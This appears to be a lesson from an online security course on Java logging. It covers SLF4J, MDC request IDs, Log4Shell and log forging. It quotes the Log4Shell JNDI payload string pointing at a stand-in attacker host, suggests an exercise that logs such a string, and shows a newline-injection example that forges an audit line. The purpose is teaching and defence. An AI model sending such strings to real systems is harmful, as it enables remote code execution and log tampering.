Skip to content

Lesson 13 of 14 · 26m

Logging That Survives an Incident: SLF4J, MDC, and Log4Shell

Parameterized logging, per-request correlation, why a logging library carried CVE-2021-44228, and the log-forging trap.

At 2 a.m. an incident channel needs to know whether the order service's errors started before the deploy or after. Someone runs grep ERROR app.log and gets back a wall of interleaved System.out.println from forty threads — no request IDs, no structure, no way to correlate one user's failure across three services. Logging is the observability layer you already own; this is how to make it answer questions instead of storing noise.

The facade and the backend

SLF4J is the API; Logback is the implementation Spring Boot wires by default, and log4j2 is the other production-grade backend. You write against org.slf4j.Logger so the backend stays swappable — the code never imports ch.qos.logback or org.apache.logging.log4j directly.

private static final Logger log = LoggerFactory.getLogger(OrderService.class);
log.info("order {} placed by user {}", orderId, userId);

The {} placeholders are not a style choice — they're lazy concatenation. If info is disabled, the strings are never built; log.info("order " + orderId + " placed") pays the concat cost on every call whether anyone reads it or not.

Levels are an operational contract, not a spectrum: ERROR means a human should see it, WARN means degrading but alive, INFO means lifecycle events a stranger can follow, DEBUG/TRACE mean development. An endpoint that logs ERROR on a user typo trains operators to ignore ERROR — the alert that matters gets lost in the ones that don't.

MDC: the request ID that makes logs useful

MDC — mapped diagnostic context — is a per-thread key/value store the logging pattern can print. Drop a filter at the edge that sets MDC.put("requestId", id) and every line from that request carries it:

// logback.xml / log4j2 pattern:
%d{ISO8601} %-5level [%X{requestId}] %logger{36} - %msg%n

Now grep requestId=abc-123 reconstructs one request across threads and async hops — pass it into your async executor or it dies at the pool boundary. On virtual threads MDC still works; on CompletableFuture chains you copy it by hand or use a TaskDecorator.

Structured output — logstash-logback-encoder for JSON — turns the log from a string you grep into a document you query. That is the entire difference between an incident you can filter and a wall of text you can't.

Log4Shell: why a logging library is in a security course

On December 9, 2021, a proof-of-concept appeared: any string logged by log4j2 containing ${jndi:ldap://attacker/x} caused the library to fetch and load a remote class — RCE from a User-Agent header. CVE-2021-44228, CVSS 10.0, every log4j-core from 2.0-beta9 to 2.14.1. The fix took three releases: 2.15.0 was incomplete (CVE-2021-45046), 2.16.0 removed message lookups entirely and disabled JNDI by default, 2.17.0 closed the rest.

The causal chain matters more than the number: a logging library shipped with a network fetch feature nobody asked it to have, and a format string in user-controlled input became code execution. The lesson isn't "upgrade log4j" — it's "audit what your dependencies' appenders and formatters can do," because the parser is a boundary too. JNDI lookups, SMTP appenders that send mail, JDBC appenders that write to a database — every one is a feature a payload can reach.

Log forging and the last trap

Attacker-controlled strings written to a log carry newlines: username = "admin\nINFO login succeeded" produces a fake audit line (CWE-117). Encode untrusted input or emit JSON — the encoder escapes it — and treat log content as untrusted in every dashboard that renders it.

Try this

Add MDC.put("requestId", UUID.randomUUID().toString()) in a servlet filter, add %X{requestId} to the pattern, fire two overlapping requests, and grep. Then write a ${jndi:ldap://...}-style string as a username — on a current log4j2 it logs literally; on a 2.14 jar it would have been a remote call.

Pitfalls

  • Async appenders trade durability for latency: on a JVM crash the last lines may be lost — the ones that would have explained the crash.
  • Never log credentials, auth headers, or PII: a log.info(request) on a JSON object is one password field away from a credential leak into every downstream index.
  • toString() on a lazy JPA collection inside a log call fires a query per log line — log fields, not entities.

Was this lesson helpful?

Sign in to rate

Keep reading

Related articles from the SudoSecurity blog.